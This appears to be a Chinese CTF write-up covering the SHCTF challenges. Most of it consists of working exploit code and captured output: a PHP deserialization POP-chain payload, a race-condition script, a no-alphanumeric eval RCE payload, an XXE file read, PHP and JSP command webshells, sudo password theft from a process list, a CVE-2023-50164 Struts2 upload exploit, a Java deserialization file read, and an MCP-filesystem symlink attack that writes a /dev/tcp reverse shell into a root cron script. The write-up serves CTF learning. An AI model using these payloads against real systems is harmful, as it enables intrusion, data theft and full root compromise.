Sun类在销毁时触发__destruct。$sun = new Sun();$sun->sun = $moon;(触发Moon::__toString)
跳板 1:
Moon类转换为字符串。$moon = new Moon();$moon->nearside = $earth;(触发Earth::__invoke)
跳板 2:
Earth类被当作函数调用。$earth = new Earth();$earth->onearth = $solar1;(目标对象)$earth->inearth = "AnyProp";(不存在的属性名,用于触发__set)$earth->outofearth = "/flag";(我们要读取的文件名,将作为值传递给__set)
跳板 3:
Solar类处理属性赋值触发__set。$solar1 = new Solar();$solar1->Mercury = $solar2;(下一个 Solar 对象,用于触发__call)$solar1->Venus = "SplFileObject";(方法名)逻辑解释:
Solar::__set执行$this->Mercury->{$this->Venus}($key)。即$solar2->SplFileObject("/flag")。由于
Solar类没有SplFileObject方法,触发solar2的__call。
终点:
Solar::__call实例化类并利用。$solar2 = new Solar();$func接收到的方法名是SplFileObject。$args[0]接收到的参数是/flag。实例化:
$exploar = new SplFileObject("/flag");(绕过了黑名单,完全合法)调用方法:
$road = $this->Jupiter;$solar2->Jupiter = "fpassthru";(利用SplFileObject::fpassthru输出文件内容)$solar2->Saturn = null;(参数)最终执行:
$exploar->fpassthru(null);,将/flag内容输出到缓冲区。
<?php
// gen_payload.php
class Sun{
public $sun;
}
class Solar{
private $Sun;
public $Mercury;
public $Venus;
public $Earth;
public $Mars;
public $Jupiter;
public $Saturn;
public $Uranus;
public $Neptune;
}
class Moon{
public $nearside;
}
class Earth{
public $onearth;
public $inearth;
public $outofearth;
}
// 目标文件
$filename = "/flag";
// 实例化对象
$sun = new Sun();
$moon = new Moon();
$earth = new Earth();
$solar1 = new Solar();
$solar2 = new Solar();
// 连接链条
$sun->sun = $moon;
$moon->nearside = $earth;
$earth->onearth = $solar1;
$earth->inearth = "AnyProp"; // 触发 __set
$earth->outofearth = $filename; // 传递给 __set 的值 ($key)
// 配置 Solar1 (__set)
$solar1->Mercury = $solar2; // $Dyson
$solar1->Venus = "SplFileObject"; // $Sphere (方法名)
// 配置 Solar2 (__call)
// 此时 $func = "SplFileObject", $args[0] = "/flag"
// 执行 new SplFileObject("/flag")
$solar2->Jupiter = "fpassthru"; // $road (要调用的方法)
$solar2->Saturn = null; // fpassthru 的参数
// 序列化
$s = serialize($sun);
// Fast Destruct 处理:构造异常的序列化字符串
// 放入数组并去掉末尾大括号
$payload = 'a:2:{i:0;' . $s . ';i:1;i:0}';
$payload = substr($payload, 0, -1);
echo urlencode($payload);
?>hackbar坏掉了😫,用python发包了
import requests
import urllib.parse
url = "http://challenge.shc.tf:30938/index.php"
payload_encoded = "O%3A3%3A%22Sun%22%3A1%3A%7Bs%3A3%3A%22sun%22%3BO%3A4%3A%22Moon%22%3A1%3A%7Bs%3A8%3A%22nearside%22%3BO%3A5%3A%22Earth%22%3A3%3A%7Bs%3A7%3A%22onearth%22%3BO%3A5%3A%22Solar%22%3A9%3A%7Bs%3A10%3A%22%00Solar%00Sun%22%3BN%3Bs%3A7%3A%22Mercury%22%3BO%3A5%3A%22Solar%22%3A9%3A%7Bs%3A10%3A%22%00Solar%00Sun%22%3BN%3Bs%3A7%3A%22Mercury%22%3BN%3Bs%3A5%3A%22Venus%22%3BN%3Bs%3A5%3A%22Earth%22%3BN%3Bs%3A4%3A%22Mars%22%3BN%3Bs%3A7%3A%22Jupiter%22%3Bs%3A9%3A%22fpassthru%22%3Bs%3A6%3A%22Saturn%22%3BN%3Bs%3A6%3A%22Uranus%22%3BN%3Bs%3A7%3A%22Neptune%22%3BN%3B%7Ds%3A5%3A%22Venus%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A5%3A%22Earth%22%3BN%3Bs%3A4%3A%22Mars%22%3BN%3Bs%3A7%3A%22Jupiter%22%3BN%3Bs%3A6%3A%22Saturn%22%3BN%3Bs%3A6%3A%22Uranus%22%3BN%3Bs%3A7%3A%22Neptune%22%3BN%3B%7Ds%3A7%3A%22inearth%22%3Bs%3A7%3A%22AnyProp%22%3Bs%3A10%3A%22outofearth%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D"
payload = urllib.parse.unquote(payload_encoded)
print(f"Sending payload to {url}...")
try:
response = requests.post(url, data={'travel': payload})
print("Status Code:", response.status_code)
print("Response Tail:")
print(response.text[-500:])
if "flag{" in response.text:
print("FOUND FLAG!")
print(response.text[response.text.find("flag{"):response.text.find("flag{")+50])
if "PD9waH" in response.text:
print("Found base64 PHP content!")
except Exception as e:
print(e)[阶段1] ez_race
给了源码,翻一翻发现app\bank\views.py有个sleep函数,以及获取flag的条件
def form_valid(self, form):
amount = form.cleaned_data["amount"]
with transaction.atomic():
time.sleep(1.0)
user = models.User.objects.get(pk=self.request.user.pk)
if user.money >= amount:
user.money = F('money') - amount
user.save()
models.WithdrawLog.objects.create(user=user, amount=amount)
user.refresh_from_db()
if user.money < 0:
return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))在这个sleep的影响下,只要我们在sleep的时间内执行多次提现请求,就有可能有多条同时执行到if user.money >= amount处
让ai写个条竞的exp:
import requests
import threading
import sys
import time
BASE_URL = "http://challenge.shc.tf:32466"
USERNAME = "player@example.com"
PASSWORD = "player"
THREAD_COUNT = 5
barrier = threading.Barrier(THREAD_COUNT)
def log(msg):
print(msg)
sys.stdout.flush()
def attack():
s = requests.Session()
# 1. 登录
log("[*] Logging in...")
try:
s.get(f"{BASE_URL}/accounts/login/", timeout=5)
csrftoken = s.cookies.get('csrftoken')
login_data = {
'username': USERNAME,
'password': PASSWORD,
'csrfmiddlewaretoken': csrftoken
}
r = s.post(f"{BASE_URL}/accounts/login/", data=login_data, headers={"Referer": f"{BASE_URL}/accounts/login/"})
if 'sessionid' not in s.cookies:
log("[-] Failed to login (no sessionid)")
return
log("[+] Login success")
except Exception as e:
log(f"[-] Login Error: {e}")
return
# 2. 重置账户
log("[*] Resetting account...")
s.get(f"{BASE_URL}/reset")
# 3. 充值 10 元
log("[*] Recharging (10 RMB)...")
csrftoken = s.cookies.get('csrftoken')
s.post(f"{BASE_URL}/recharge", data={'amount': 10, 'csrfmiddlewaretoken': csrftoken},
headers={"Referer": f"{BASE_URL}/recharge"})
# 4. 检查初始余额
try:
r = s.get(f"{BASE_URL}/status")
log(f"[*] Balance BEFORE: {r.text}")
except Exception as e:
log(f"[-] Failed to get status: {e}")
# 5. 准备并发
log(f"[*] Starting SYNCHRONIZED Race with {THREAD_COUNT} threads...")
withdraw_url = f"{BASE_URL}/withdraw"
token = s.cookies.get('csrftoken')
def worker(i):
try:
# 等待所有线程就位
barrier.wait()
# 瞬间发送请求
res = s.post(withdraw_url,
data={'amount': 10, 'csrfmiddlewaretoken': token},
headers={"Referer": withdraw_url},
timeout=15)
# 检查结果
if "flag{" in res.text:
log(f"\n[★] FLAG FOUND in Thread {i}!!!\n[★] Content: {res.text}\n")
elif res.status_code != 200:
# 打印非200状态码,看看是不是服务器崩了
# log(f"[!] Thread {i} status: {res.status_code}")
pass
except Exception as e:
# log(f"[E] Thread {i}: {e}")
pass
threads = []
for i in range(THREAD_COUNT):
t = threading.Thread(target=worker, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
log("[*] Race finished. Checking final state...")
# 6. 最终检查 (不再静默失败)
try:
# 检查余额
r = s.get(f"{BASE_URL}/status", timeout=5)
log(f"[*] Balance AFTER: {r.text}")
# 尝试直接获取Flag
r = s.get(f"{BASE_URL}/flag", timeout=5)
if "flag{" in r.text:
log(f"\n[★] FLAG FOUND via /flag endpoint: {r.text}")
else:
log(f"[-] /flag endpoint response: {r.text}")
except Exception as e:
log(f"[-] Final check failed: {e}")
if __name__ == "__main__":
attack()
# [*] Logging in...
# [+] Login success
# [*] Resetting account...
# [*] Recharging (10 RMB)...
# [*] Balance BEFORE: 10
# [*] Starting SYNCHRONIZED Race with 5 threads...
# [*] Race finished. Checking final state...
# [*] Balance AFTER: -30
# [-] /flag endpoint response: SHCTF{c0ndITl0n_r4c3_l$_danGER0u$_PHOr_dJAN9o}[阶段1] kill_king
一个网页小游戏,先审js,发现logic.js中有拿flag的逻辑:
//提交请求到 check.php,并显示 flag
fetch('check.php', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'result=win'
})
.then(response => response.text())
.then(flag => {
document.getElementById('flagBox').innerText = flag;
})
.catch(err => console.error('获取 flag 出错:', err));POST 请求 result=win,返回了个源码:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['result']) && $_POST['result'] === 'win') {
highlight_file(__FILE__);
if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
$who = (String)$_GET['who'];
$are = (String)$_GET['are'];
$you = (String)$_GET['you'];
if(is_numeric($who) && is_numeric($are)){
if(preg_match('/^\W+$/', $you)){
$code = eval("return $who$you$are;");
echo "$who$you$are = ".$code;
}
}
}
}
}这是个无字母数字RCE,这种题一般想法还是利用取反(~)运算,生成取反内容:
<?php
$a = "system";
$str1 = "";
for($i=0; $i<strlen($a); $i++){
$str1 .= "%".bin2hex(~$a[$i]);
}
echo "system: (~$str1)\n"; // (~%8c%86%8c%8b%9a%92)
$b = "cat /flag";
$str2 = "";
for($i=0; $i<strlen($b); $i++){
$str2 .= "%".bin2hex(~$b[$i]);
}
echo "cat /flag: (~$str2)\n"; // (~%9c%9e%8b%df%d0%99%93%9e%98)
?>由于 eval 执行的是 return $who$you$are;,我们希望执行的是$you的内容,$who和$you的内容是数字,所以我们还需要闭合前后的数字
>为了防止 PHP 语法解析错误(将 x. xxxx解析为浮点数),需要在点号前后添加空格。
Payload:
/check.php?who=1&are=1&you=+%2E+(~%22%8C%86%8C%8B%9A%92%22)(~%22%9C%9E%8B%DF%D0%99%93%9E%98%22)+%2E+
POST:result=win[阶段2] Go
考的是waf和go之间的差异,构造payload的想法是能过waf但是又能被go识别
改掉 Key 的大小写,WAF 可能认不出来
>这里就是改role为Role,猜测后端waf检测的是role的值,不检测Role的值
{"username": "hacker", "Role": "admin"}[阶段2] Mini Blog
/create是发布文章的接口,内容用的xml,尝试打xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<post>
<title>&xxe;</title>
<content>123</content>
</post>
[阶段3] sudoooo0
扫了几个字典 扫出来个webshell.php

无任何回显 还得fuzz参数

确定是cmd

考虑到这里get传参不太方便,写个马在上webshell工具
file_put_contents('1.php', '<?php @eval($_POST[\'a\']);?>');在/docker-entrypoint.sh发现了这题的解题方向
#!/bin/bash
set -e
echo 0 > /proc/sys/kernel/yama/ptrace_scope || true
if [ "$A1CTF_FLAG" ]; then
INSERT_FLAG="$A1CTF_FLAG"
unset A1CTF_FLAG
elif [ "$SHCTF_FLAG" ]; then
INSERT_FLAG="$SHCTF_FLAG"
unset SHCTF_FLAG
elif [ "$GZCTF_FLAG" ]; then
INSERT_FLAG="$GZCTF_FLAG"
unset GZCTF_FLAG
elif [ "$FLAG" ]; then
INSERT_FLAG="$FLAG"
unset FLAG
else
INSERT_FLAG="SHCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}"
fi
rm -f /flag
echo "$INSERT_FLAG" > /flag
chmod 400 /flag
chown root:root /flag
NEWPASS=$(head -c 24 /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 16)
echo "ctf:${NEWPASS}" | chpasswd
su - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v >/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &"
exec apache2-foreground这个脚本生成了一个随机密码 NEWPASS 并赋予了 ctf 用户,它切换到 ctf 用户后,在后台运行了一个 bash 命令,同时NEWPASS被写在命令行里
看一眼进程:
(ctf:/var/www/html) $ ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 02:02 ? 00:00:00 apache2 -DFOREGROUND
ctf 25 1 0 02:02 ? 00:00:00 script -q -f -c bash -li -c "echo GcqbJrIa | sudo -S -v >/dev/null 2>&1; sleep infinity" /dev/null
ctf 26 25 0 02:02 pts/0 00:00:00 sleep infinity
ctf 56 1 0 02:03 ? 00:00:01 apache2 -DFOREGROUND
ctf 66 1 0 02:03 ? 00:00:00 apache2 -DFOREGROUND
ctf 106 1 0 02:13 ? 00:00:00 apache2 -DFOREGROUND
ctf 117 1 0 02:13 ? 00:00:00 apache2 -DFOREGROUND
ctf 120 1 0 02:13 ? 00:00:00 apache2 -DFOREGROUND
ctf 126 1 0 02:13 ? 00:00:00 apache2 -DFOREGROUND
ctf 128 1 0 02:19 ? 00:00:00 apache2 -DFOREGROUND
ctf 132 1 0 02:19 ? 00:00:00 apache2 -DFOREGROUND
ctf 134 1 0 02:19 ? 00:00:00 apache2 -DFOREGROUND
ctf 137 1 0 02:21 ? 00:00:00 apache2 -DFOREGROUND
ctf 149 126 0 02:31 ? 00:00:00 sh -c -- /bin/sh -c "cd "/var/www/html";ps -ef;echo bd550f77d303;pwd;echo b969f917bd3e" 2>&1
ctf 150 149 0 02:31 ? 00:00:00 /bin/sh -c cd /var/www/html;ps -ef;echo bd550f77d303;pwd;echo b969f917bd3e
ctf 151 150 0 02:31 ? 00:00:00 ps -efecho GcqbJrIa暴露了密码
直接sudo不可行,回显:sudo: sorry, you must have a tty to run sudo
利用script伪造终端用来执行sudo,尽管伪造了但是还是不能直接输入密码,所以利用echo+管道符把密码输入进去
script /dev/null -c bash
echo "GcqbJrIa" | sudo -S cat /flag
[sudo] password for ctf: SHCTF{$UdO_7#k3n_InjEC710n_PWnEd_2O2S}[阶段3] BabyJavaUpload
上传文件的路由是upload.action,感觉是Struts2,结合hint的cve,这里打的就是S2系列漏洞
上漏扫测了下,没东西,考虑到我的漏扫工具只支持到S2-061,所以这里优先看比较新的洞,搜了一下CVE-2023-50164比较符合这里s2+upload的场景
前端还有两个提示:
<!-- flag在根目录 -->
/* Hint: The real vulnerability is not always in the code you see. Check the environment. */先抓个上传包研究一下
POST /upload.action HTTP/1.1
Host: challenge.shc.tf:32388
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1cPLHTXS6tDgdRjd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Cookie: JSESSIONID=27C7CDFB58EEB3A58B5AF35873B8D292
Cache-Control: max-age=0
Referer: http://challenge.shc.tf:32388/
Accept-Language: zh-CN,zh;q=0.9
Origin: http://challenge.shc.tf:32388
Accept-Encoding: gzip, deflate
Content-Length: 185
------WebKitFormBoundary1cPLHTXS6tDgdRjd
Content-Disposition: form-data; name="myfile"; filename="1.txt"
Content-Type: text/plain
molu
------WebKitFormBoundary1cPLHTXS6tDgdRjd--顺着CVE-2023-50164的复现思路:
文件参数名用大写首字母
Myfile额外传递
myfileFileName参数,值为路径:../xxx.jsp
这里路径不明,要遍历路径,有点麻烦,让ai写个exp去重复发包帮忙遍历路径
import requests
import string
import random
from requests_toolbelt import MultipartEncoder
BASE = "http://challenge.shc.tf:32388"
URL = f"{BASE}/upload.action"
webshell_jsp = '''<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String[] cmds = {"/bin/sh", "-c", cmd};
Process p = Runtime.getRuntime().exec(cmds);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) out.println(line);
}
%>'''
# CVE-2023-50164 核心: 首字母大写参数 + FileName 路径遍历
for depth in range(1, 10):
traversal = "../" * depth + "shell.jsp"
fields = {
"Myfile": ("whatever.txt", webshell_jsp, "application/octet-stream"),
"myfileFileName": traversal
}
boundary = '----WebKitFormBoundary' + ''.join(
random.sample(string.ascii_letters + string.digits, 16)
)
m = MultipartEncoder(fields=fields, boundary=boundary)
headers = {"Content-Type": m.content_type}
r = requests.post(URL, headers=headers, data=m, timeout=5)
print(f"depth={depth}: status={r.status_code}")
# 验证 webshell
r = requests.get(f"{BASE}/shell.jsp?cmd=id")
print(r.text)跑完就能getshell了
depth=1: status=200
depth=2: status=200
depth=3: status=200
depth=4: status=200
depth=5: status=200
depth=6: status=200
depth=7: status=200
depth=8: status=200
depth=9: status=200
uid=0(root) gid=0(root) groups=0(root)
进程已结束,退出代码为 0/shell.jsp?cmd=cat%20/f*
# SHCTF{58fa16cf-22c3-43d9-bb66-240460fc1fd7}[阶段3] 你也懂java?
给了附件,一个jar包,先反编译
拿到了一个Note类
public class Note implements Serializable {
private static final long serialVersionUID = 1L;
private String title;
private String message;
private String filePath;
public Note(String title, String message, String filePath) {
this.title = title;
this.message = message;
this.filePath = filePath;
}打开靶机直接就是处理逻辑:
public void handle(HttpExchange exchange) throws IOException {
String method = exchange.getRequestMethod();
String path = exchange.getRequestURI().getPath();
if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) {
try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
Object obj = ois.readObject();
if (obj instanceof Note) {
Note note = (Note) obj;
if (note.getFilePath() != null) {
echo(readFile(note.getFilePath()));
}
}
} catch (Exception e) {}
}
}发现这里POST请求到/upload路由后直接进行了反序列化Object obj = ois.readObject();并且若
note.getFilePath不为空,就会返回这个路径的内容,那这就是一个任意文件读取的洞
准备环境:
exploit/Note.java(和反编译出来的一样)
import java.io.Serializable;
public class Note implements Serializable {
private static final long serialVersionUID = 1L;
private String title;
private String message;
private String filePath;
public Note(String title, String message, String filePath) {
this.title = title;
this.message = message;
this.filePath = filePath;
}
public String getFilePath() {
return filePath;
}
}exploit/GeneratePayload.java(生成payload)
filePath 指向 /flag,将对象序列化写入 payload.bin
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class GeneratePayload {
public static void main(String[] args) {
try {
Note note = new Note("1", "1", "/flag");
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(note);
oos.close();
fos.close();
System.out.println("[+] Payload generated: payload.bin");
} catch (Exception e) {
e.printStackTrace();
}
}
}执行一下
cd exploit
javac Note.java GeneratePayload.java
java GeneratePayload生成好payload.bin
import requests
target_url = "http://challenge.shc.tf:32204/upload"
payload_file = "payload.bin"
print(f"[*] Targeting: {target_url}")
print(f"[*] Reading payload from: {payload_file}")
try:
with open(payload_file, 'rb') as f:
payload_data = f.read()
response = requests.post(target_url, data=payload_data)
print("\n[+] Server Response:")
print("-" * 50)
print(response.text)
print("-" * 50)
except Exception as e:
print(f"[-] Error: {e}")python发包
import requests
url = "http://challenge.shc.tf:31505/upload"
files = {'file': open('payload.bin', 'rb')}
with open('payload.bin', 'rb') as f:
data = f.read()
response = requests.post(url, data=data)
print(response.text)在回显中找到<div class="output">SHCTF{8e987201-3c56-4bb2-8b0c-fabde2887186}
Misc
[阶段2] ezAI
这里mcp-filesystem的版本是0.6.1 收集了一下存在漏洞:CVE-2025-53110,但这里并不是用这个cve直接拿root的文件。这里存在前缀匹配即可完成操作的问题,虽然我们可以访问的合规路径是/var/www/h,但是由于/var/www/html前面部分匹配,所以可以直接对/var/www/html利用mcp的write_file功能写webshell
https://nvd.nist.gov/vuln/detail/CVE-2025-53110

拿到webshell还访问不到/root,需要准备提权,信息收集发现suid和sudo应该是提不了了,查定时任务
(www-data:/var/www/html) $ ls -la /etc/cron.d/
total 12
drwxr-xr-x. 1 root root 37 Dec 17 17:18 .
drwxr-xr-x. 1 root root 19 Feb 4 11:05 ..
-rw-r--r--. 1 root root 102 Mar 2 2023 .placeholder
-rw-r--r--. 1 root root 201 Jun 6 2025 e2scrub_all
-rw-r--r--. 1 root root 77 Dec 17 17:19 php
(www-data:/var/www/html) $ cat /etc/cron.d/php
* * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean这里就挑这个php的任务了,应该就是个清session的脚本

弹个shell好干活
<?php
$ip = $_GET['ip'] ?? 'Your_vps_ip';
$port = $_GET['port'] ?? '4444';
echo "[+] Trying to connect to $ip:$port ...\n";
system("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
?>但是www-data不能直接修改/usr/lib/php/sessionclean的内容,需要借助题目这个mcp工具,这里做个软链接,欺骗mcp修改/var/www/html/link_final_rce,但是实则是修改软链接的对象/usr/lib/php/sessionclean
把反弹shell的命令写进去,这个任务每60s以root的权限执行一次,就能拿到root的shell了
让ai写个脚本,然后执行:`php exp.php`
<?php
$MCP_HOST = '127.0.0.1';
$MCP_PORT = 1337;
$TARGET_FILE = "/usr/lib/php/sessionclean";
// 你的反弹 Shell Payload
$IP = "Your_vps_ip";
$PORT = "2333";
$PAYLOAD = "#!/bin/bash\n" .
"bash -c 'bash -i >& /dev/tcp/$IP/$PORT 0>&1'\n";
// 辅助函数:调用 MCP
function mcp_call($method, $args) {
global $MCP_HOST, $MCP_PORT;
$sock = fsockopen($MCP_HOST, $MCP_PORT, $errno, $errstr, 2);
if (!$sock) return null;
$req = [
"jsonrpc" => "2.0", "id" => rand(),
"method" => "tools/call",
"params" => ["name" => $method, "arguments" => $args]
];
fwrite($sock, json_encode($req)."\n");
$buf = "";
while (!feof($sock)) {
$buf .= fgets($sock, 4096);
if (strpos($buf, '}}') !== false) break; // 简单判断结束
}
fclose($sock);
return json_decode($buf, true);
}
echo "========== 🔨 强制覆盖系统 Cron 脚本 🔨 ==========\n";
// 1. 准备软链接
$link_name = "link_final_rce";
$link_path = "/var/www/html/" . $link_name;
if (file_exists($link_path)) unlink($link_path); // 先删除旧的
if (symlink($TARGET_FILE, $link_path)) {
echo "[+] 软链接创建成功: $link_name -> $TARGET_FILE\n";
} else {
die("[-] 软链接创建失败,权限不足?\n");
}
// 2. 发送写入指令 (Overwrite)
echo "[*] 正在发送反弹 Shell Payload...\n";
$res = mcp_call("write_file", [
"path" => $link_path,
"content" => $PAYLOAD
]);
if (isset($res['error'])) {
echo "[-] 写入报错: " . json_encode($res['error']) . "\n";
} else {
echo "[+] MCP 响应成功 (无报错)\n";
}
// 3. 立即验证写入结果 (读取出来看看)
echo "\n[*] 正在验证文件内容...\n";
// 为了读取,我们需要用 read_file 工具再读一次这个软链接
$read_res = mcp_call("read_file", ["path" => $link_path]);
if (isset($read_res['result']['content'][0]['text'])) {
$current_content = $read_res['result']['content'][0]['text'];
echo "--------------------------------------------------\n";
echo $current_content;
echo "--------------------------------------------------\n";
if (strpos($current_content, $IP) !== false) {
echo "✅ 验证通过!Payload 已更新为反弹 Shell!\n";
} else {
echo "❌ 验证失败!内容似乎没有改变。\n";
}
} else {
echo "[-] 无法读取验证 (可能 MCP 读取功能受限,但写入可能已成功)\n";
}
unlink($link_path);
echo "\n========== ⏳ 等待 Cron 执行 (Max 60s) ⏳ ==========\n";
?>拿到root的shell
[root@iZ7xvh70dszbvy6xotgak9Z ~]# nc -lvnp 2333
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 111.34.66.50.
Ncat: Connection from 111.34.66.50:25249.
bash: cannot set terminal process group (318): Inappropriate ioctl for device
bash: no job control in this shell
root@cl-75-a6378141fc61c67c:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@cl-75-a6378141fc61c67c:~# ls /root
ls /root
The_7rue_53cre7_1s_H!dden_With!n_Th15_F!le
flag
flag.txt
root@cl-75-a6378141fc61c67c:~# nl /root/*
nl /root/*
1 SHCTF{wOw_yOU_ARe_re@L1y_4N_aI_m45tER}
2 This is a fake flag, please come back to /root after obtaining root shell to find my real secret.
3 This is a fake flag, please come back to /root after obtaining root shell to find my real secret.SHCTF{wOw_yOU_ARe_re@L1y_4N_aI_m45tER}